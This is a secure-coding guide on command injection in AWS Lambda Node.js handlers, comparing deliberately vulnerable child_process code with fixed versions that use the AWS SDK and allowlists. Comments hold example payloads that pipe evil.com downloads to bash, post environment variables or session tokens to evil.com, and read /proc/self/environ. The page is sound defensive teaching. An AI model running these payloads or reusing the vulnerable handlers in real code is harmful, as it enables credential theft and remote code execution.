Command injection from untrusted event data in child_process command in AWS Lambda

Critical Risk command-injection
javascriptaws-lambdacommand-injectionchild_processevent-dataserverlessrce

What it is

A critical security vulnerability where untrusted event fields are concatenated into command strings or arguments passed to exec/execSync/spawn without strict validation or allowlisting, allowing shell metacharacters and injected commands to run. Command injection could execute arbitrary system commands, exfiltrate data, or modify the environment, compromising the Lambda function and connected AWS resources.

// VULNERABLE: AWS Lambda with child_process injection
const { exec, execSync } = require('child_process');
const AWS = require('aws-sdk');

// VULNERABLE: S3 event processing
exports.s3Handler = async (event) => {
    const record = event.Records[0];
    const bucket = record.s3.bucket.name;
    const key = record.s3.object.key;
    
    try {
        // DANGEROUS: S3 key in shell command
        const downloadCommand = `aws s3 cp s3://${bucket}/${key} /tmp/${key}`;
        execSync(downloadCommand);
        
        // VULNERABLE: File processing with shell
        const analysisCommand = `file /tmp/${key} && wc -l /tmp/${key}`;
        const analysis = execSync(analysisCommand, { encoding: 'utf8' });
        
        return {
            statusCode: 200,
            body: JSON.stringify({ analysis })
        };
    } catch (error) {
        return {
            statusCode: 500,
            body: JSON.stringify({ error: error.message })
        };
    }
};

// VULNERABLE: API Gateway handler
exports.apiHandler = async (event) => {
    const operation = event.queryStringParameters?.operation || 'info';
    const target = event.queryStringParameters?.target || '';
    const body = event.body ? JSON.parse(event.body) : {};
    const options = body.options || '';
    
    try {
        // EXTREMELY DANGEROUS: User controls entire command
        const command = `${operation} ${options} ${target}`;
        
        const result = await new Promise((resolve, reject) => {
            exec(command, { timeout: 30000 }, (error, stdout, stderr) => {
                if (error) {
                    reject(error);
                } else {
                    resolve(stdout);
                }
            });
        });
        
        return {
            statusCode: 200,
            body: JSON.stringify({ 
                command,
                result 
            })
        };
    } catch (error) {
        return {
            statusCode: 500,
            body: JSON.stringify({ error: error.message })
        };
    }
};

// VULNERABLE: SQS message processing
exports.sqsHandler = async (event) => {
    for (const record of event.Records) {
        const message = JSON.parse(record.body);
        const command = message.command;
        const args = message.args || [];
        
        try {
            // DANGEROUS: SQS message data in shell command
            const fullCommand = `${command} ${args.join(' ')}`;
            execSync(fullCommand, { stdio: 'inherit' });
            
        } catch (error) {
            console.error('Command failed:', error);
        }
    }
    
    return { statusCode: 200 };
};

// Attack examples:
// S3 object key: "file.txt; curl -H 'Authorization: Bearer $AWS_SESSION_TOKEN' evil.com/steal-token"
// API Gateway: /?operation=cat&target=/proc/self/environ; wget evil.com/lambda-env
// SQS message: {"command": "sh", "args": ["-c", "env | curl -X POST evil.com/data -d @-"]}
// SECURE: AWS Lambda without command injection
const AWS = require('aws-sdk');
const crypto = require('crypto');
const zlib = require('zlib');
const { promisify } = require('util');

const s3 = new AWS.S3();
const gzip = promisify(zlib.gzip);

// SECURE: S3 event handler using AWS SDK
exports.s3Handler = async (event, context) => {
    try {
        // Validate event structure
        if (!event.Records || !event.Records[0] || !event.Records[0].s3) {
            throw new Error('Invalid S3 event structure');
        }
        
        const record = event.Records[0];
        const bucket = record.s3.bucket.name;
        const key = decodeURIComponent(record.s3.object.key.replace(/\+/g, ' '));
        const size = record.s3.object.size;
        
        // Validate bucket and key
        if (!isValidBucket(bucket)) {
            throw new Error('Bucket not allowed');
        }
        
        if (!isValidS3Key(key)) {
            throw new Error('Invalid S3 key format');
        }
        
        // Size limit check
        if (size > 10 * 1024 * 1024) { // 10MB
            throw new Error('File too large');
        }
        
        // SECURE: Use AWS SDK instead of shell commands
        const object = await s3.getObject({
            Bucket: bucket,
            Key: key
        }).promise();
        
        // Process file using native Node.js
        const analysis = await analyzeFileNatively(key, object.Body);
        
        // Store analysis results
        const resultKey = `analysis/${key}.json`;
        await s3.putObject({
            Bucket: bucket,
            Key: resultKey,
            Body: JSON.stringify(analysis, null, 2),
            ContentType: 'application/json'
        }).promise();
        
        return {
            statusCode: 200,
            body: JSON.stringify({
                message: 'File analyzed successfully',
                bucket,
                originalKey: key,
                resultKey,
                analysis
            })
        };
        
    } catch (error) {
        console.error('S3 processing error:', error);
        return {
            statusCode: 500,
            body: JSON.stringify({
                error: 'Processing failed',
                requestId: context.awsRequestId
            })
        };
    }
};

// SECURE: API Gateway handler with validation
exports.apiHandler = async (event, context) => {
    try {
        // Validate HTTP method
        if (event.httpMethod !== 'POST') {
            return {
                statusCode: 405,
                body: JSON.stringify({ error: 'Method not allowed' })
            };
        }
        
        // Parse and validate request
        const body = event.body ? JSON.parse(event.body) : {};
        const operation = body.operation;
        const data = body.data;
        
        // Validate operation
        const allowedOperations = {
            'analyze': analyzeTextData,
            'hash': calculateHashData,
            'compress': compressData,
            'validate': validateData
        };
        
        if (!allowedOperations[operation]) {
            return {
                statusCode: 400,
                body: JSON.stringify({ error: 'Operation not allowed' })
            };
        }
        
        // Validate data
        if (typeof data !== 'string' || data.length > 100000) {
            return {
                statusCode: 400,
                body: JSON.stringify({ error: 'Invalid data format or size' })
            };
        }
        
        // Execute safe operation
        const result = await allowedOperations[operation](data);
        
        return {
            statusCode: 200,
            body: JSON.stringify({
                operation,
                result,
                requestId: context.awsRequestId
            })
        };
        
    } catch (error) {
        console.error('API processing error:', error);
        return {
            statusCode: 500,
            body: JSON.stringify({
                error: 'Processing failed',
                requestId: context.awsRequestId
            })
        };
    }
};

// SECURE: SQS handler with message validation
exports.sqsHandler = async (event, context) => {
    const results = [];
    
    for (const record of event.Records) {
        try {
            // Validate SQS record
            if (!record.body) {
                throw new Error('Empty SQS message body');
            }
            
            const message = JSON.parse(record.body);
            
            // Validate message structure
            if (!message.operation || !message.data) {
                throw new Error('Invalid message format');
            }
            
            // Process message safely
            const result = await processMessage(message);
            results.push({ messageId: record.messageId, success: true, result });
            
        } catch (error) {
            console.error('SQS message processing error:', error);
            results.push({ 
                messageId: record.messageId, 
                success: false, 
                error: error.message 
            });
        }
    }
    
    return {
        statusCode: 200,
        body: JSON.stringify({ results })
    };
};

// Helper functions for secure processing
async function analyzeFileNatively(filename, fileBuffer) {
    const content = fileBuffer.toString('utf8');
    
    // File type detection based on extension
    const extension = filename.toLowerCase().substring(filename.lastIndexOf('.'));
    const allowedTypes = ['.txt', '.csv', '.json', '.xml', '.log'];
    
    if (!allowedTypes.includes(extension)) {
        throw new Error('File type not supported');
    }
    
    // Basic analysis using native JavaScript
    const lines = content.split('\n');
    const words = content.split(/\s+/).filter(word => word.length > 0);
    
    const analysis = {
        filename,
        extension,
        size: fileBuffer.length,
        lines: lines.length,
        words: words.length,
        characters: content.length,
        hash: crypto.createHash('sha256').update(fileBuffer).digest('hex'),
        processedAt: new Date().toISOString()
    };
    
    // Additional analysis for specific file types
    if (extension === '.json') {
        try {
            const parsed = JSON.parse(content);
            analysis.jsonValid = true;
            analysis.jsonKeys = Object.keys(parsed).length;
        } catch {
            analysis.jsonValid = false;
        }
    }
    
    return analysis;
}

async function analyzeTextData(data) {
    const lines = data.split('\n');
    const words = data.split(/\s+/).filter(w => w.length > 0);
    
    return {
        lines: lines.length,
        words: words.length,
        characters: data.length,
        averageLineLength: lines.reduce((sum, line) => sum + line.length, 0) / lines.length,
        averageWordLength: words.reduce((sum, word) => sum + word.length, 0) / words.length
    };
}

async function calculateHashData(data) {
    return {
        md5: crypto.createHash('md5').update(data).digest('hex'),
        sha1: crypto.createHash('sha1').update(data).digest('hex'),
        sha256: crypto.createHash('sha256').update(data).digest('hex')
    };
}

async function compressData(data) {
    const compressed = await gzip(data);
    const compressionRatio = compressed.length / data.length;
    
    return {
        originalSize: data.length,
        compressedSize: compressed.length,
        compressionRatio: compressionRatio.toFixed(2),
        savings: `${((1 - compressionRatio) * 100).toFixed(1)}%`
    };
}

async function validateData(data) {
    const validation = {
        isValidJson: isValidJson(data),
        isValidEmail: isValidEmail(data),
        isValidUrl: isValidUrl(data),
        containsHtml: /<[^>]*>/.test(data),
        containsScripts: /<script|javascript:/i.test(data)
    };
    
    return validation;
}

async function processMessage(message) {
    const allowedOperations = ['analyze', 'hash', 'compress', 'validate'];
    
    if (!allowedOperations.includes(message.operation)) {
        throw new Error('Operation not allowed');
    }
    
    if (typeof message.data !== 'string' || message.data.length > 50000) {
        throw new Error('Invalid data format or size');
    }
    
    // Route to appropriate handler
    switch (message.operation) {
        case 'analyze':
            return await analyzeTextData(message.data);
        case 'hash':
            return await calculateHashData(message.data);
        case 'compress':
            return await compressData(message.data);
        case 'validate':
            return await validateData(message.data);
        default:
            throw new Error('Unknown operation');
    }
}

// Validation helper functions
function isValidBucket(bucket) {
    const allowedBuckets = [
        'secure-file-uploads',
        'data-processing-bucket',
        'analysis-results'
    ];
    return allowedBuckets.includes(bucket);
}

function isValidS3Key(key) {
    return typeof key === 'string' &&
           key.length > 0 &&
           key.length <= 1024 &&
           /^[a-zA-Z0-9._/-]+$/.test(key) &&
           !key.includes('../') &&
           !/[\x00-\x1f\x7f]/.test(key);
}

function isValidJson(str) {
    try {
        JSON.parse(str);
        return true;
    } catch {
        return false;
    }
}

function isValidEmail(str) {
    const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
    return emailRegex.test(str);
}

function isValidUrl(str) {
    try {
        const url = new URL(str);
        return ['http:', 'https:'].includes(url.protocol);
    } catch {
        return false;
    }
}

💡 Why This Fix Works

The vulnerable code uses child_process methods with AWS Lambda event data, allowing command injection through S3 object keys, API parameters, and SQS messages. The secure version eliminates all shell command execution, uses AWS SDK for cloud operations, implements comprehensive input validation, and leverages native Node.js APIs for data processing.

Why it happens

Using AWS Lambda event data (from API Gateway, S3, SQS, etc.) directly in child_process commands with shell execution enabled. Lambda events often contain user-controlled data that can inject shell metacharacters.

Root causes

Event Data in Shell Commands

Using AWS Lambda event data (from API Gateway, S3, SQS, etc.) directly in child_process commands with shell execution enabled. Lambda events often contain user-controlled data that can inject shell metacharacters.

Preview example – JAVASCRIPT
const { exec } = require('child_process');

// VULNERABLE: Lambda handler with event data in commands
exports.handler = async (event) => {
    const filename = event.Records[0].s3.object.key;
    const bucket = event.Records[0].s3.bucket.name;
    
    // DANGEROUS: S3 object key in shell command
    return new Promise((resolve, reject) => {
        exec(`aws s3 cp s3://${bucket}/${filename} /tmp/`, (error, stdout) => {
            if (error) {
                reject(error);
            } else {
                resolve({ statusCode: 200, body: 'File processed' });
            }
        });
    });
};

// Attack example:
// S3 object key: "file.txt; curl evil.com/steal-env | bash; echo"
// Results in: aws s3 cp s3://bucket/file.txt; curl evil.com/steal-env | bash; echo /tmp/

API Gateway Parameters in Commands

Processing API Gateway event parameters and using them in system commands without validation. Query parameters, path parameters, and request body data can all contain malicious payloads.

Preview example – JAVASCRIPT
const { execSync } = require('child_process');

// VULNERABLE: API Gateway event in command execution
exports.handler = async (event) => {
    const operation = event.queryStringParameters?.operation || 'info';
    const target = event.queryStringParameters?.target || 'default';
    const options = event.body ? JSON.parse(event.body).options : '';
    
    try {
        // DANGEROUS: User parameters in shell command
        const command = `${operation} ${options} ${target}`;
        const result = execSync(command, { encoding: 'utf8' });
        
        return {
            statusCode: 200,
            body: JSON.stringify({ result })
        };
    } catch (error) {
        return {
            statusCode: 500,
            body: JSON.stringify({ error: error.message })
        };
    }
};

// Attack examples:
// GET /?operation=ls&target=/etc;cat /proc/self/environ
// POST with body: {"options": "; wget evil.com/lambda-backdoor; echo"}
// Results in command injection within Lambda environment

Fixes

1

Use AWS SDK Instead of Shell Commands

Replace shell command execution with AWS SDK operations. Use the AWS JavaScript SDK for Lambda to interact with AWS services safely without shell interpretation.

View implementation – JAVASCRIPT
const AWS = require('aws-sdk');
const s3 = new AWS.S3();
const fs = require('fs');

// SECURE: AWS SDK instead of shell commands
exports.handler = async (event) => {
    try {
        // Validate S3 event structure
        if (!event.Records || !event.Records[0] || !event.Records[0].s3) {
            throw new Error('Invalid S3 event structure');
        }
        
        const s3Event = event.Records[0].s3;
        const bucket = s3Event.bucket.name;
        const key = decodeURIComponent(s3Event.object.key.replace(/\+/g, ' '));
        
        // Validate bucket and key
        if (!isValidBucketName(bucket) || !isValidObjectKey(key)) {
            throw new Error('Invalid bucket name or object key');
        }
        
        // SECURE: Use AWS SDK instead of shell commands
        const params = {
            Bucket: bucket,
            Key: key
        };
        
        const data = await s3.getObject(params).promise();
        
        // Process file data safely
        const processedData = await processFileData(data.Body);
        
        return {
            statusCode: 200,
            body: JSON.stringify({
                message: 'File processed successfully',
                bucket,
                key,
                size: data.Body.length,
                processed: processedData
            })
        };
        
    } catch (error) {
        console.error('Processing error:', error);
        return {
            statusCode: 500,
            body: JSON.stringify({ error: 'File processing failed' })
        };
    }
};

function isValidBucketName(bucket) {
    // AWS S3 bucket name validation
    const bucketRegex = /^[a-z0-9][a-z0-9.-]*[a-z0-9]$/;
    return bucketRegex.test(bucket) && 
           bucket.length >= 3 && 
           bucket.length <= 63 &&
           !bucket.includes('..');
}

function isValidObjectKey(key) {
    // Basic S3 object key validation
    return typeof key === 'string' &&
           key.length > 0 &&
           key.length <= 1024 &&
           !key.includes('../') &&
           !/[\x00-\x1f\x7f]/.test(key); // No control characters
}

async function processFileData(data) {
    // Safe file processing using native JavaScript/Node.js
    const content = data.toString('utf8');
    
    return {
        lineCount: content.split('\n').length,
        wordCount: content.split(/\s+/).filter(w => w.length > 0).length,
        characterCount: content.length
    };
}
2

Implement Strict Event Validation

Create comprehensive validation for all Lambda event data. Use allowlists for acceptable values and validate all parameters against strict patterns before any processing.

View implementation – JAVASCRIPT
const AWS = require('aws-sdk');

// SECURE: Lambda with comprehensive event validation
class SecureLambdaProcessor {
    constructor() {
        this.allowedOperations = {
            'analyze': this.analyzeData.bind(this),
            'transform': this.transformData.bind(this),
            'validate': this.validateData.bind(this)
        };
        
        this.allowedSourceBuckets = [
            'safe-uploads-bucket',
            'processed-data-bucket'
        ];
    }
    
    async processEvent(event) {
        // Validate event structure
        const validatedEvent = this.validateEventStructure(event);
        
        // Route to appropriate handler
        if (validatedEvent.source === 's3') {
            return this.handleS3Event(validatedEvent);
        } else if (validatedEvent.source === 'apigateway') {
            return this.handleApiEvent(validatedEvent);
        } else {
            throw new Error('Unsupported event source');
        }
    }
    
    validateEventStructure(event) {
        // API Gateway event
        if (event.httpMethod && event.requestContext) {
            return {
                source: 'apigateway',
                method: event.httpMethod,
                path: event.path,
                queryParams: event.queryStringParameters || {},
                body: event.body ? this.parseAndValidateBody(event.body) : {},
                headers: event.headers || {}
            };
        }
        
        // S3 event
        if (event.Records && event.Records[0] && event.Records[0].s3) {
            const s3Record = event.Records[0].s3;
            return {
                source: 's3',
                bucket: s3Record.bucket.name,
                key: decodeURIComponent(s3Record.object.key.replace(/\+/g, ' ')),
                size: s3Record.object.size
            };
        }
        
        throw new Error('Unsupported event structure');
    }
    
    parseAndValidateBody(body) {
        try {
            const parsed = JSON.parse(body);
            
            // Validate parsed body structure
            if (typeof parsed !== 'object' || parsed === null) {
                throw new Error('Body must be an object');
            }
            
            // Validate specific fields
            if (parsed.operation && !this.allowedOperations[parsed.operation]) {
                throw new Error('Operation not allowed');
            }
            
            if (parsed.target && !this.isValidTarget(parsed.target)) {
                throw new Error('Invalid target format');
            }
            
            return parsed;
        } catch (error) {
            throw new Error(`Invalid JSON body: ${error.message}`);
        }
    }
    
    async handleS3Event(validatedEvent) {
        // Validate S3 bucket
        if (!this.allowedSourceBuckets.includes(validatedEvent.bucket)) {
            throw new Error('Source bucket not allowed');
        }
        
        // Validate object key
        if (!this.isValidS3Key(validatedEvent.key)) {
            throw new Error('Invalid S3 object key');
        }
        
        // Process S3 object using AWS SDK
        const s3 = new AWS.S3();
        const data = await s3.getObject({
            Bucket: validatedEvent.bucket,
            Key: validatedEvent.key
        }).promise();
        
        return {
            statusCode: 200,
            body: JSON.stringify({
                message: 'S3 object processed',
                bucket: validatedEvent.bucket,
                key: validatedEvent.key,
                size: data.Body.length
            })
        };
    }
    
    async handleApiEvent(validatedEvent) {
        const operation = validatedEvent.body.operation;
        
        if (!operation || !this.allowedOperations[operation]) {
            throw new Error('Invalid or missing operation');
        }
        
        // Execute safe operation
        const result = await this.allowedOperations[operation](validatedEvent.body);
        
        return {
            statusCode: 200,
            body: JSON.stringify({
                operation,
                result
            })
        };
    }
    
    async analyzeData(params) {
        // Safe data analysis without external commands
        const data = params.data || '';
        
        if (typeof data !== 'string' || data.length > 100000) {
            throw new Error('Invalid data for analysis');
        }
        
        return {
            lineCount: data.split('\n').length,
            wordCount: data.split(/\s+/).filter(w => w.length > 0).length,
            characterCount: data.length,
            averageLineLength: data.split('\n').reduce((sum, line) => sum + line.length, 0) / data.split('\n').length
        };
    }
    
    async transformData(params) {
        // Safe data transformation
        const data = params.data || '';
        const transformType = params.transform || 'uppercase';
        
        const allowedTransforms = ['uppercase', 'lowercase', 'reverse'];
        if (!allowedTransforms.includes(transformType)) {
            throw new Error('Transform type not allowed');
        }
        
        switch (transformType) {
            case 'uppercase':
                return { transformed: data.toUpperCase() };
            case 'lowercase':
                return { transformed: data.toLowerCase() };
            case 'reverse':
                return { transformed: data.split('').reverse().join('') };
            default:
                throw new Error('Unknown transform type');
        }
    }
    
    async validateData(params) {
        // Data validation without external tools
        const data = params.data || '';
        
        const validation = {
            isValidJson: this.isValidJson(data),
            isValidEmail: this.isValidEmail(data),
            isValidUrl: this.isValidUrl(data),
            length: data.length
        };
        
        return validation;
    }
    
    isValidTarget(target) {
        return typeof target === 'string' &&
               target.length > 0 &&
               target.length <= 255 &&
               /^[a-zA-Z0-9._-]+$/.test(target);
    }
    
    isValidS3Key(key) {
        return typeof key === 'string' &&
               key.length > 0 &&
               key.length <= 1024 &&
               !key.includes('../') &&
               !/[\x00-\x1f\x7f]/.test(key);
    }
    
    isValidJson(str) {
        try {
            JSON.parse(str);
            return true;
        } catch {
            return false;
        }
    }
    
    isValidEmail(str) {
        const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
        return emailRegex.test(str);
    }
    
    isValidUrl(str) {
        try {
            new URL(str);
            return true;
        } catch {
            return false;
        }
    }
}

// Lambda handler
const processor = new SecureLambdaProcessor();

exports.handler = async (event, context) => {
    try {
        return await processor.processEvent(event);
    } catch (error) {
        console.error('Lambda processing error:', error);
        return {
            statusCode: 400,
            body: JSON.stringify({
                error: error.message,
                requestId: context.awsRequestId
            })
        };
    }
};
3

Use Lambda Layers for Secure Utilities

Create Lambda layers with pre-built, secure utility functions. Avoid runtime command execution by providing native JavaScript implementations of common operations.

View implementation – JAVASCRIPT
// Lambda Layer: /opt/nodejs/secure-utils.js
const crypto = require('crypto');
const zlib = require('zlib');
const { promisify } = require('util');

class SecureFileUtils {
    static calculateHash(data, algorithm = 'sha256') {
        const allowedAlgorithms = ['md5', 'sha1', 'sha256', 'sha512'];
        if (!allowedAlgorithms.includes(algorithm)) {
            throw new Error('Hash algorithm not allowed');
        }
        
        return crypto.createHash(algorithm).update(data).digest('hex');
    }
    
    static async compressData(data) {
        const gzip = promisify(zlib.gzip);
        return await gzip(data);
    }
    
    static async decompressData(data) {
        const gunzip = promisify(zlib.gunzip);
        return await gunzip(data);
    }
    
    static analyzeTextFile(content) {
        if (typeof content !== 'string') {
            throw new Error('Content must be a string');
        }
        
        const lines = content.split('\n');
        const words = content.split(/\s+/).filter(word => word.length > 0);
        
        return {
            lines: lines.length,
            words: words.length,
            characters: content.length,
            averageLineLength: lines.reduce((sum, line) => sum + line.length, 0) / lines.length,
            averageWordLength: words.reduce((sum, word) => sum + word.length, 0) / words.length
        };
    }
    
    static validateFileType(filename, content) {
        const allowedExtensions = ['.txt', '.json', '.csv', '.xml'];
        const extension = filename.toLowerCase().substring(filename.lastIndexOf('.'));
        
        if (!allowedExtensions.includes(extension)) {
            return { valid: false, reason: 'File type not allowed' };
        }
        
        // Basic content validation
        if (extension === '.json') {
            try {
                JSON.parse(content);
                return { valid: true, type: 'json' };
            } catch {
                return { valid: false, reason: 'Invalid JSON format' };
            }
        }
        
        return { valid: true, type: extension.substring(1) };
    }
}

module.exports = { SecureFileUtils };

// Main Lambda function using the layer
const AWS = require('aws-sdk');
const { SecureFileUtils } = require('/opt/nodejs/secure-utils');

const s3 = new AWS.S3();

exports.handler = async (event, context) => {
    try {
        // Process S3 event safely
        if (event.Records && event.Records[0] && event.Records[0].s3) {
            const s3Event = event.Records[0].s3;
            const bucket = s3Event.bucket.name;
            const key = decodeURIComponent(s3Event.object.key.replace(/\+/g, ' '));
            
            // Validate inputs
            if (!isValidBucket(bucket) || !isValidKey(key)) {
                throw new Error('Invalid bucket or key');
            }
            
            // Get object from S3
            const object = await s3.getObject({ Bucket: bucket, Key: key }).promise();
            const content = object.Body.toString('utf8');
            
            // Process file using secure utilities
            const fileValidation = SecureFileUtils.validateFileType(key, content);
            if (!fileValidation.valid) {
                throw new Error(fileValidation.reason);
            }
            
            const analysis = SecureFileUtils.analyzeTextFile(content);
            const hash = SecureFileUtils.calculateHash(content);
            
            // Store results back to S3
            const results = {
                originalFile: key,
                fileType: fileValidation.type,
                analysis,
                hash,
                processedAt: new Date().toISOString()
            };
            
            const resultKey = `processed/${key}.analysis.json`;
            await s3.putObject({
                Bucket: bucket,
                Key: resultKey,
                Body: JSON.stringify(results, null, 2),
                ContentType: 'application/json'
            }).promise();
            
            return {
                statusCode: 200,
                body: JSON.stringify({
                    message: 'File processed successfully',
                    resultKey,
                    analysis
                })
            };
        }
        
        throw new Error('Unsupported event type');
        
    } catch (error) {
        console.error('Processing error:', error);
        return {
            statusCode: 500,
            body: JSON.stringify({
                error: 'Processing failed',
                requestId: context.awsRequestId
            })
        };
    }
};

function isValidBucket(bucket) {
    const allowedBuckets = ['secure-uploads', 'data-processing'];
    return allowedBuckets.includes(bucket);
}

function isValidKey(key) {
    return typeof key === 'string' &&
           key.length > 0 &&
           key.length <= 1024 &&
           /^[a-zA-Z0-9._/-]+$/.test(key) &&
           !key.includes('../');
}

Detect This Vulnerability in Your Code

Sourcery automatically identifies command injection from untrusted event data in child_process command in aws lambda and many other security issues in your codebase.